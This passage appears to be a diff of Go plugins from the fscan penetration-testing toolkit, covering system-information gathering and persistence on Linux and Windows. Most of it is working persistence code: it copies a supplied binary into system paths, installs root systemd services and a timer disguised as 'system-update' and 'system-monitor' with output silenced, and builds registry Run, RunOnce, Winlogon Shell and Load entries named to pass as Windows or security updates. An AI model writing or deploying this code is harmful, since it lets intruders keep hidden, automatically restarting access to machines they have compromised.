output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查systemctl是否可用
|
||||
if _, err := exec.LookPath("systemctl"); err != nil {
|
||||
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== 系统服务持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到服务目录
|
||||
servicePath, err := p.copyToServicePath(targetFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 创建systemd服务文件
|
||||
serviceFiles, err := p.createSystemdServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 启用并启动服务
|
||||
err = p.enableAndStartServices(serviceFiles)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 服务已启用并启动\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建用户级服务
|
||||
userServiceFiles, err := p.createUserServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 5. 创建定时器服务
|
||||
err = p.createTimerServices(servicePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已创建systemd定时器\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: successCount > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// copyToServicePath 复制文件到服务目录
|
||||
func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, error) {
|
||||
// 选择服务目录
|
||||
serviceDirs := []string{
|
||||
"/usr/local/bin",
|
||||
"/opt/local",
|
||||
"/usr/bin",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range serviceDirs {
|
||||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建服务目录")
|
||||
}
|
||||
|
||||
// 生成服务可执行文件名
|
||||
basename := filepath.Base(targetFile)
|
||||
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if serviceName == "" {
|
||||
serviceName = "system-service"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, serviceName)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
_ = os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// createSystemdServices 创建systemd服务文件
|
||||
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
|
||||
systemDir := "/etc/systemd/system"
|
||||
if err := os.MkdirAll(systemDir, 0755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
services := []struct {
|
||||
name string
|
||||
content string
|
||||
enable bool
|
||||
}{
|
||||
{
|
||||
name: "system-update.service",
|
||||
enable: true,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=System Update Service
|
||||
After=network.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
ExecStart=%s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
`, execPath),
|
||||
},
|
||||
{
|
||||
name: "system-monitor.service",
|
||||
enable: true,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=System Monitor Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=forking
|
||||
User=root
|
||||
ExecStart=%s
|
||||
PIDFile=/var/run/system-monitor.pid
|
||||
Restart=on-failure
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
`, execPath),
|
||||
},
|
||||
{
|
||||
name: "network-check.service",
|
||||
enable: false,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=Network Check Service
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
User=root
|
||||
ExecStart=%s
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
`, execPath),
|
||||
},
|
||||
}
|
||||
|
||||
var created []string
|
||||
for _, service := range services {
|
||||
servicePath := filepath.Join(systemDir, service.name)
|
||||
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
|
||||
created = append(created, service.name)
|
||||
}
|
||||
}
|
||||
|
||||
if len(created) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何systemd服务文件")
|
||||
}
|
||||
|
||||
return created, nil
|
||||
}
|
||||
|
||||
// enableAndStartServices 启用并启动服务
|
||||
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
|
||||
var errors []string
|
||||
|
||||
for _, serviceName := range serviceFiles {
|
||||
// 重新加载systemd配置
|
||||
_ = exec.Command("systemctl", "daemon-reload").Run()
|
||||
|
||||
// 启用服务
|
||||
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
|
||||
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
|
||||
}
|
||||
|
||||
// 启动服务
|
||||
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
|
||||
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
|
||||
}
|
||||
}
|
||||
|
||||
if len(errors) > 0 {
|
||||
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// createUserServices 创建用户级服务
|
||||
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
|
||||
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||
if userDir == "/.config/systemd/user" { // HOME为空的情况
|
||||
userDir = "/tmp/.config/systemd/user"
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(userDir, 0755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
userServices := []string{
|
||||
"user-service.service",
|
||||
"background-task.service",
|
||||
}
|
||||
|
||||
userServiceContent := fmt.Sprintf(`[Unit]
|
||||
Description=User Background Service
|
||||
After=graphical-session.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s
|
||||
Restart=always
|
||||
RestartSec=30
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`, execPath)
|
||||
|
||||
var created []string
|
||||
for _, serviceName := range userServices {
|
||||
servicePath := filepath.Join(userDir, serviceName)
|
||||
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
|
||||
created = append(created, serviceName)
|
||||
|
||||
// 启用用户服务
|
||||
_ = exec.Command("systemctl", "--user", "enable", serviceName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "start", serviceName).Run()
|
||||
}
|
||||
}
|
||||
|
||||
return created, nil
|
||||
}
|
||||
|
||||
// createTimerServices 创建定时器服务
|
||||
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
|
||||
systemDir := "/etc/systemd/system"
|
||||
|
||||
// 创建定时器服务文件
|
||||
timerService := fmt.Sprintf(`[Unit]
|
||||
Description=Scheduled Task Service
|
||||
Wants=scheduled-task.timer
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=%s
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
`, execPath)
|
||||
|
||||
// 创建定时器文件
|
||||
timerConfig := `[Unit]
|
||||
Description=Run Scheduled Task Every 10 Minutes
|
||||
Requires=scheduled-task.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=10min
|
||||
AccuracySec=1s
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
`
|
||||
|
||||
// 写入服务文件
|
||||
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
|
||||
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 写入定时器文件
|
||||
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
|
||||
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 启用定时器
|
||||
_ = exec.Command("systemctl", "daemon-reload").Run()
|
||||
_ = exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
|
||||
_ = exec.Command("systemctl", "start", "scheduled-task.timer").Run()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("systemdservice", func() Plugin {
|
||||
return NewSystemdServicePlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//go:build (plugin_systeminfo || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SystemInfoPlugin 系统信息收集插件
|
||||
// 设计哲学:纯信息收集,无攻击性功能
|
||||
// - 删除复杂的继承体系
|
||||
// - 收集基本系统信息
|
||||
// - 跨平台支持,运行时适配
|
||||
type SystemInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewSystemInfoPlugin 创建系统信息插件
|
||||
func NewSystemInfoPlugin() *SystemInfoPlugin {
|
||||
return &SystemInfoPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("systeminfo"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行系统信息收集 - 直接、简单、有效
|
||||
func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
output.WriteString("=== 系统信息收集 ===\n")
|
||||
common.LogSuccess(i18n.GetText("systeminfo_start"))
|
||||
|
||||
// 基本系统信息
|
||||
output.WriteString(fmt.Sprintf("操作系统: %s\n", runtime.GOOS))
|
||||
output.WriteString(fmt.Sprintf("架构: %s\n", runtime.GOARCH))
|
||||
output.WriteString(fmt.Sprintf("CPU核心数: %d\n", runtime.NumCPU()))
|
||||
|
||||
common.LogInfo(i18n.Tr("systeminfo_os", runtime.GOOS))
|
||||
common.LogInfo(i18n.Tr("systeminfo_arch", runtime.GOARCH))
|
||||
common.LogInfo(i18n.Tr("systeminfo_cpu", runtime.NumCPU()))
|
||||
|
||||
// 主机名
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
output.WriteString(fmt.Sprintf("主机名: %s\n", hostname))
|
||||
common.LogInfo(i18n.Tr("systeminfo_hostname", hostname))
|
||||
}
|
||||
|
||||
// 当前用户
|
||||
if currentUser, err := user.Current(); err == nil {
|
||||
output.WriteString(fmt.Sprintf("当前用户: %s\n", currentUser.Username))
|
||||
common.LogInfo(i18n.Tr("systeminfo_user", currentUser.Username))
|
||||
if currentUser.HomeDir != "" {
|
||||
output.WriteString(fmt.Sprintf("用户目录: %s\n", currentUser.HomeDir))
|
||||
common.LogInfo(i18n.Tr("systeminfo_homedir", currentUser.HomeDir))
|
||||
}
|
||||
}
|
||||
|
||||
// 工作目录
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
output.WriteString(fmt.Sprintf("工作目录: %s\n", workDir))
|
||||
common.LogInfo(i18n.Tr("systeminfo_workdir", workDir))
|
||||
}
|
||||
|
||||
// 临时目录
|
||||
output.WriteString(fmt.Sprintf("临时目录: %s\n", os.TempDir()))
|
||||
common.LogInfo(i18n.Tr("systeminfo_tempdir", os.TempDir()))
|
||||
|
||||
// 环境变量关键信息
|
||||
if path := os.Getenv("PATH"); path != "" {
|
||||
pathCount := len(strings.Split(path, string(os.PathListSeparator)))
|
||||
output.WriteString(fmt.Sprintf("PATH变量条目: %d个\n", pathCount))
|
||||
common.LogInfo(i18n.Tr("systeminfo_pathcount", pathCount))
|
||||
}
|
||||
|
||||
// 平台特定信息
|
||||
platformInfo := p.getPlatformSpecificInfo()
|
||||
if platformInfo != "" {
|
||||
output.WriteString("\n=== 平台特定信息 ===\n")
|
||||
output.WriteString(platformInfo)
|
||||
// 输出平台特定信息到控制台
|
||||
p.logPlatformInfo()
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// getPlatformSpecificInfo 获取平台特定信息 - 运行时适配,不做预检查
|
||||
func (p *SystemInfoPlugin) getPlatformSpecificInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows版本信息
|
||||
if output, err := p.runCommand("cmd", "/c", "ver"); err == nil {
|
||||
info.WriteString(i18n.Tr("systeminfo_winver", strings.TrimSpace(output)) + "\n")
|
||||
}
|
||||
|
||||
// 域信息
|
||||
if output, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil {
|
||||
domain := strings.TrimSpace(output)
|
||||
if domain != "" && domain != "%USERDOMAIN%" {
|
||||
info.WriteString(i18n.Tr("systeminfo_domain", domain) + "\n")
|
||||
}
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
// Unix系统信息
|
||||
if output, err := p.runCommand("uname", "-a"); err == nil {
|
||||
info.WriteString(i18n.Tr("systeminfo_kernel", strings.TrimSpace(output)) + "\n")
|
||||
}
|
||||
|
||||
// 发行版信息(Linux)
|
||||
if runtime.GOOS == "linux" {
|
||||
if output, err := p.runCommand("lsb_release", "-d"); err == nil {
|
||||
info.WriteString(i18n.Tr("systeminfo_distro", strings.TrimSpace(output)) + "\n")
|
||||
} else if p.fileExists("/etc/os-release") {
|
||||
info.WriteString(i18n.GetText("systeminfo_distro_exists") + "\n")
|
||||
}
|
||||
}
|
||||
|
||||
// whoami
|
||||
if output, err := p.runCommand("whoami"); err == nil {
|
||||
info.WriteString(i18n.Tr("systeminfo_whoami", strings.TrimSpace(output)) + "\n")
|
||||
}
|
||||
}
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// runCommand 执行命令 - 简单包装,无复杂错误处理
|
||||
func (p *SystemInfoPlugin) runCommand(name string, args ...string) (string, error) {
|
||||
cmd := exec.Command(name, args...)
|
||||
output, err := cmd.Output()
|
||||
return string(output), err
|
||||
}
|
||||
|
||||
// fileExists 检查文件是否存在
|
||||
func (p *SystemInfoPlugin) fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// logPlatformInfo 输出平台特定信息到控制台
|
||||
func (p *SystemInfoPlugin) logPlatformInfo() {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows版本信息
|
||||
if output, err := p.runCommand("cmd", "/c", "ver"); err == nil {
|
||||
common.LogInfo(i18n.Tr("systeminfo_winver", strings.TrimSpace(output)))
|
||||
}
|
||||
|
||||
// 域信息
|
||||
if output, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil {
|
||||
domain := strings.TrimSpace(output)
|
||||
if domain != "" && domain != "%USERDOMAIN%" {
|
||||
common.LogInfo(i18n.Tr("systeminfo_domain", domain))
|
||||
}
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
// Unix系统信息
|
||||
if output, err := p.runCommand("uname", "-a"); err == nil {
|
||||
common.LogInfo(i18n.Tr("systeminfo_kernel", strings.TrimSpace(output)))
|
||||
}
|
||||
|
||||
// 发行版信息(Linux)
|
||||
if runtime.GOOS == "linux" {
|
||||
if output, err := p.runCommand("lsb_release", "-d"); err == nil {
|
||||
common.LogInfo(i18n.Tr("systeminfo_distro", strings.TrimSpace(output)))
|
||||
} else if p.fileExists("/etc/os-release") {
|
||||
common.LogInfo(i18n.GetText("systeminfo_distro_exists"))
|
||||
}
|
||||
}
|
||||
|
||||
// whoami
|
||||
if output, err := p.runCommand("whoami"); err == nil {
|
||||
common.LogInfo(i18n.Tr("systeminfo_whoami", strings.TrimSpace(output)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("systeminfo", func() Plugin {
|
||||
return NewSystemInfoPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Plugin 本地插件接口 - 不需要端口概念
|
||||
type Plugin interface {
|
||||
Name() string
|
||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result
|
||||
}
|
||||
|
||||
// RegisterLocalPlugin 注册本地插件 - 自动标记local类型
|
||||
func RegisterLocalPlugin(name string, creator func() Plugin) {
|
||||
plugins.RegisterWithTypes(name, func() plugins.Plugin {
|
||||
return creator()
|
||||
}, []int{}, []string{plugins.PluginTypeLocal})
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
//go:build (plugin_winregistry || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WinRegistryPlugin Windows注册表持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现注册表持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type WinRegistryPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWinRegistryPlugin 创建Windows注册表持久化插件
|
||||
func NewWinRegistryPlugin() *WinRegistryPlugin {
|
||||
return &WinRegistryPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("winregistry"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Windows注册表持久化 - 直接实现
|
||||
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "windows" {
|
||||
output.WriteString("Windows注册表持久化只支持Windows平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
pePath := config.WinPEFile
|
||||
if pePath == "" {
|
||||
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(pePath); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(pePath) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效的PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Windows注册表持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 创建注册表持久化
|
||||
registryKeys, err := p.createRegistryPersistence(pePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("创建注册表持久化失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("创建了%d个注册表持久化项:\n", len(registryKeys)))
|
||||
for i, key := range registryKeys {
|
||||
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, key))
|
||||
}
|
||||
output.WriteString("\n✓ Windows注册表持久化完成\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("winregistry_success", len(registryKeys)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// createRegistryPersistence 创建注册表持久化
|
||||
func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %w", err)
|
||||
}
|
||||
|
||||
var registryEntries []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
registryKeys := []struct {
|
||||
hive string
|
||||
key string
|
||||
valueName string
|
||||
description string
|
||||
}{
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt),
|
||||
description: "Current User Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
|
||||
description: "Local Machine Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`,
|
||||
valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt),
|
||||
description: "Current User RunOnce Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt),
|
||||
description: "WOW64 Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`,
|
||||
valueName: "Shell",
|
||||
description: "Winlogon Shell Override",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`,
|
||||
valueName: "Load",
|
||||
description: "Windows Load Key",
|
||||
},
|
||||
}
|
||||
|
||||
for _, regKey := range registryKeys {
|
||||
var regCommand string
|
||||
var value string
|
||||
|
||||
switch regKey.valueName {
|
||||
case "Shell":
|
||||
value = fmt.Sprintf("explorer.exe,%s", absPath)
|
||||
case "Load":
|
||||
value = absPath
|
||||
default:
|
||||
value = fmt.Sprintf(`"%s"`, absPath)
|
||||
}
|
||||
|
||||
regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`,
|
||||
regKey.hive, regKey.key, regKey.valueName, value)
|
||||
|
||||
registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand))
|
||||
}
|
||||
|
||||
return registryEntries, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("winregistry", func() Plugin {
|
||||
return NewWinRegistryPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,252 @@
|
||||
//go:build (plugin_winschtask || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WinSchTaskPlugin Windows计划任务持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现计划任务持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type WinSchTaskPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWinSchTaskPlugin 创建Windows计划任务持久化插件
|
||||
func NewWinSchTaskPlugin() *WinSchTaskPlugin {
|
||||
|
||||
return &WinSchTaskPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("winschtask"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Windows计划任务持久化 - 直接实现
|
||||
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
pePath := config.WinPEFile
|
||||
|
||||
|
||||
if runtime.GOOS != "windows" {
|
||||
output.WriteString("Windows计划任务持久化只支持Windows平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
if pePath == "" {
|
||||
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(pePath); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(pePath) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效的PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Windows计划任务持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 创建计划任务持久化
|
||||
scheduledTasks, err := p.createScheduledTaskPersistence(pePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("创建计划任务持久化失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("创建了%d个计划任务持久化项:\n", len(scheduledTasks)))
|
||||
for i, task := range scheduledTasks {
|
||||
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, task))
|
||||
}
|
||||
output.WriteString("\n✓ Windows计划任务持久化完成\n")
|
